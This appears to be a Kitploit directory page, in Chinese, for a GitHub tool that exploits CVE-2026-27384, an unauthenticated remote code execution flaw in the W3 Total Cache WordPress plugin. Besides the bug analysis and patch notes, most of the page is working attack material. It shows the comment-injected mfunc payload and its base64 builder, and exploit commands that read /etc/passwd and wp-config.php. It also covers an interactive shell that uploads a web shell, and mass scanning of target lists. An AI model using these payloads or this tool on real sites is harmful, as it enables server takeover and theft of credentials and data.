Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-27384 — 针对 CVE-2026-27384 的自动化扫描器与漏洞利用工具,该漏洞是 W3 Total Cache 中通过 mfunc/eval() 注入导致的未认证 RCE。功能包括自动检测、48 种 payload 变体、交互式 Shell 和批量扫描。 | Kitploit
工具/GitHubGitHub/xxconi/cve-2026-27384
Payload生成漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubxxconi/cve-2026-27384

CVE-2026-27384

针对 CVE-2026-27384 的自动化扫描器与漏洞利用工具,该漏洞是 W3 Total Cache 中通过 mfunc/eval() 注入导致的未认证 RCE。功能包括自动检测、48 种 payload 变体、交互式 Shell 和批量扫描。

查看仓库
13个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-27384

CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE 扫描器

插件: W3 Total Cache 插件 Slug: w3-total-cache CVE ID: CVE-2026-27384 CVSS 评分: 9.8(严重) CVSS 向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 漏洞类型: 未认证任意代码执行(通过 eval() 进行代码注入) 受影响版本: <= 2.9.1 已修复版本: 2.9.2 发布日期: 2026 年 2 月 24 日 研究人员: CODE WHITE GmbH


📌 漏洞概述

W3 Total Cache 插件的 Dynamic Fragment Caching 功能(mfunc/mclude 系统)会通过 eval() 执行嵌入在 HTML 注释中的 PHP 代码。 本应保护该功能的 W3TC_DYNAMIC_SECURITY token 可因多个代码缺陷的组合而被绕过。

结果: 无需身份验证,仅需提交一条 WordPress 评论,即可在服务器上执行任意 PHP 代码。


🔍 漏洞摘要表


⚙️ 技术分析

功能:mfunc / mclude

W3TC 的 Dynamic Fragment Caching 功能允许开发者通过特殊注释标签在页面 HTML 中嵌入 PHP 代码:

root@kitploit:~
<!-- mfunc SECURITY_TOKEN
  echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->

W3TC 在从缓存提供页面时会处理这些标签:嵌入的 PHP 代码通过 eval() 执行,其输出会替换注释块的位置。


Bug 1 — 缺少 preg_quote()(PgCache_ContentGrabber.php)

root@kitploit:~
// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
    $buffer = preg_replace_callback(
        // ❌ W3TC_DYNAMIC_SECURITY doğrudan regex'e ekleniyor
        // preg_quote() YOK → token regex pattern gibi davranır
        '~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        array( $this, '_parse_dynamic_mfunc' ),
        $buffer
    );
}

如果 token 是 '.',则正则变为 <!--\s*mfunc\s*.(.*)--> → 任意单个字符都会替代 token。


Bug 2 — \s* 与 \s+ 不匹配

函数模式行为
_parse_dynamic() — 执行mfunc\s*TOKEN接受 0 个空格 ✅
root@kitploit:~
攻击者 payload:  <!-- mfuncA php_code --><!-- /mfuncA -->
                             ↑
                      mfunc 与 token 之间没有空格

strip 函数:   \s+ → 不匹配 → payload 保留
execution regex:    \s* → 匹配  → eval() 执行

Bug 3 — 缺少 Token 验证(_has_dynamic())

root@kitploit:~
// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
    // ❌ Sadece defined() kontrolü — empty() veya metacharacter kontrolü YOK
    if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
        return false;
    }
    return preg_match(
        '~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        $buffer
    );
}

完整攻击链

root@kitploit:~
W3TC_DYNAMIC_SECURITY = '.'   (regex 元字符 — 任意字符)
        │
        ▼
攻击者提交评论:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
        │
        ▼
strip_dynamic_fragment_tags_from_string()
  Pattern: mfunc\s+[^\s]+  →  需要 \s+,没有空格 → 已绕过 ✅
        │
        ▼
评论被保存到数据库,页面被缓存
        │
        ▼
第二次 HTTP 请求 → W3TC 从缓存提供页面
  _has_dynamic() → mfunc\s*.  → 'A' 匹配 → 返回 true
        │
        ▼
_parse_dynamic() → preg_replace_callback
  Pattern: mfunc\s*.  → 'A' 匹配
        │
        ▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
        │
        ▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ 未认证 RCE ✓

🔴 攻击影响

无需身份验证,即可在服务器上以 Web 服务器权限执行任意 PHP 代码:

  • ✅ 完全控制服务器
  • ✅ 读取/写入/删除 WordPress 文件和数据库
  • ✅ 植入 Web shell / 后门
  • ✅ 向内网横向移动
  • ✅ 窃取凭据、API 密钥、用户数据

🚀 安装

root@kitploit:~
git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests
beautifulsoup4

📖 使用方法

模式

模式说明
auto扫描站点 → 查找评论页面 → 执行利用(默认)
exploit直接利用 — 使用 post URL
shell交互式 shell

Auto 模式 — 全自动

root@kitploit:~
python w3tc_rce.py https://hedef.com

扫描器将执行以下操作:

  1. 检查是否安装了 W3TC
  2. 通过 sitemap + 链接追踪查找含有评论表单的页面
  3. 对每个页面尝试 48 个 payload 变体
  4. 如果成功,则提议打开 shell

Exploit 模式 — 直接利用

root@kitploit:~
# id 命令
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd id

# 读取 /etc/passwd
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd "cat /etc/passwd"

# 读取 wp-config.php
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd "cat /var/www/html/wp-config.php"

# 手动指定 Post ID
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/merhaba-dunya/ \
  --post-id 1 \
  --cmd whoami

Shell 模式 — 交互式

root@kitploit:~
python w3tc_rce.py https://hedef.com \
  --mode shell \
  --post-url https://hedef.com/?p=1

Shell 打开时会自动执行 whoami、hostname、pwd、uname -a:

root@kitploit:~
=================================================================
  CVE-2026-27384 — W3TC mfunc 交互式 Shell
  URL    : https://hedef.com/?p=1
  Payload: b64_shell_exec (bypass='A')
=================================================================

  用户   : www-data
  主机   : web01.hedef.com
  目录   : /var/www/html
  系统   : Linux web01 5.15.0-91-generic #101-Ubuntu SMP

=================================================================
  命令: exit | upload <local> <remote> | download <remote>
=================================================================

┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
  [+] Upload: shell.php → /var/www/html/shell.php

┌──([email protected])
└─$ download /var/www/html/wp-config.php
  [+] Download: wp-config.php → wp-config.php (4821 bytes)

Detect 模式 — 仅检测

root@kitploit:~
python w3tc_rce.py https://hedef.com --mode detect
root@kitploit:~
[+] W3TC 已安装!
    版本  : 2.9.1
    Cache  : True
[!] 版本 2.9.1 存在漏洞 (<= 2.9.1)!

批量扫描

root@kitploit:~
python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt

使用代理(Burp Suite)

root@kitploit:~
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --proxy http://127.0.0.1:8080 \
  -v

⚙️ 全部参数


💀 Payload 结构

mfunc 无空格绕过

root@kitploit:~
标准标签 (会被 strip 捕获):
  <!-- mfunc TOKEN php_code --><!-- /mfunc TOKEN -->
               ↑
          有空格 → \s+ 匹配 → strip 删除

Bypass 标签 (绕过 strip, 触发 eval()):
  <!-- mfuncA php_code --><!-- /mfuncA -->
              ↑
          无空格 → \s+ 不匹配 → strip 跳过
                      \s* 匹配 → eval() 执行

Base64 编码

PHP 代码会被 base64 编码,以避免 HTML 编码问题:

root@kitploit:~
# Komut: id
b64_cmd = base64.b64encode(b"id").decode()  # → "aWQ="

php_code = f"echo shell_exec(base64_decode('{b64_cmd}'));"
# → echo shell_exec(base64_decode('aWQ='));

payload = f"<!-- mfuncA eval(base64_decode('{b64(php_code)}')); --><!-- /mfuncA -->"

48 个 Payload 变体


🔄 Exploit 流程

root@kitploit:~
1. W3TC 检测
   └─ readme.txt、header、body、插件目录

2. 评论系统检测
   └─ HTML form、REST API、post ID

3. Payload 注入 (48 个变体)
   ├─ REST API: POST /wp-json/wp/v2/comments
   └─ HTML Form: POST /wp-comments-post.php

4. 触发缓存
   ├─ 第 1 次请求 → cache miss → 页面渲染 → 写入缓存
   └─ 第 2 次请求 → cache hit → _parse_dynamic() → eval()

5. 提取输出
   └─ uid=、whoami、/path/、passwd、wp-config...

🖥️ 示例输出

Auto 模式

root@kitploit:~
=================================================================
  CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE
=================================================================

[*] 目标: https://hedef.com
  爬取中: [████████████████████] 100% (50/50) | 8.3/s

[+] 评论页面: https://hedef.com/?p=1 (post_id=1)

  [1] W3TC 检测...
[+] 发现 W3TC!版本: 2.9.1
  [2] 评论系统检测...
[+] Post ID: 1 | Form: True | REST: True
  [3] Payload 注入 (id)...
[i] 已准备 48 个 payload 变体
  [4] 触发缓存...

[★] RCE 成功!
=========================================================
  URL     : https://hedef.com/?p=1
  Payload : b64_shell_exec (bypass='A')
  命令    : id
  输出    : uid=33(www-data) gid=33(www-data) groups=33(www-data)
=========================================================

[+] 结果已保存 → w3tc_results.txt
[?] 打开 Shell? (y/n):

批量扫描摘要

root@kitploit:~
扫描中: [████████████████████] 100% (100/100) | 4.2/s

[★] 发现 7 个漏洞!
[+] 结果已保存 → w3tc_results.txt

📁 文件结构

root@kitploit:~
cve-2026-27384/
├── w3tc_rce.py        # 主扫描器
├── requirements.txt   # 依赖
└── README.md          # 本文件

🛡️ 防御 / 修复

措施说明
更新插件升级到 W3 Total Cache 2.9.2+ 版本
禁用 mfunc如果未定义 W3TC_DYNAMIC_SECURITY,该功能将无法运行
强 TokenToken 只能包含字母数字字符 ()

安全 token 示例(wp-config.php):

root@kitploit:~
// ❌ Tehlikeli — regex metacharacter
define('W3TC_DYNAMIC_SECURITY', '.');
define('W3TC_DYNAMIC_SECURITY', '.*');

// ✅ Güvenli — alfanümerik
define('W3TC_DYNAMIC_SECURITY', 'xK9mP2qR7nL4wT8v');

2.9.2 补丁(_parse_dynamic()):

root@kitploit:~
// PATCHED — 2.9.2
$token = preg_quote( W3TC_DYNAMIC_SECURITY, '~' );  // ✅ preg_quote eklendi
$buffer = preg_replace_callback(
    '~<!--\s*mfunc\s+' . $token . '(.*)-->~Uis',    // ✅ \s+ (en az 1 boşluk)
    ...
);

⚠️ 法律声明

本工具及 PoC 仅用于已授权系统、教育目的及 渗透测试范畴。 在未经授权的系统上使用,将依据土耳其刑法典第 243-245 条 及国际网络犯罪法律构成犯罪行为。 开发者对因滥用本工具而产生的任何法律 责任概不承担。


📄 许可证

MIT License — 仅用于教育和研究目的。


🔗 参考资料

  • Wordfence Advisory
  • W3 Total Cache Plugin
  • CODE WHITE GmbH
  • CWE-94: Improper Control of Code Generation
  • OWASP Code Injection
  • PHP eval() Security
  • PHP preg_quote()
下载工具
字段值
CVE IDCVE-2026-27384
CVSS9.8 Critical(严重)
类型代码注入 → RCE (CWE-94)
受影响版本<= 2.9.1
已修复版本2.9.2
身份验证不需要
用户交互不需要
前提条件W3TC_DYNAMIC_SECURITY 必须包含正则元字符
strip_dynamic_fragment_tags_from_string() — 清理mfunc\s+TOKEN至少需要 1 个空格 ❌
detect
仅检测 W3TC
参数简写说明默认值
url—单个目标 URL—
--list-l目标列表文件—
--mode—工作模式auto
--cmd—要执行的命令id
--post-url—包含评论的页面 URL—
--post-id—WordPress post ID—
--max-pages—Spider 最大页面数50
--threads-t线程数10
--output-o输出文件w3tc_results.txt
--proxy—代理 URL—
--no-color—无颜色输出False
--verbose-v详细输出False
组函数绕过字符编码
b64_shell_execshell_execA, B, X, 1Base64
b64_systemsystemA, B, X, 1Base64
b64_passthrupassthruA, B, X, 1Base64
b64_execexecA, B, X, 1Base64
b64_popenpopenA, B, X, 1Base64
raw_*所有函数A, B, X, 1原始
[a-zA-Z0-9_]+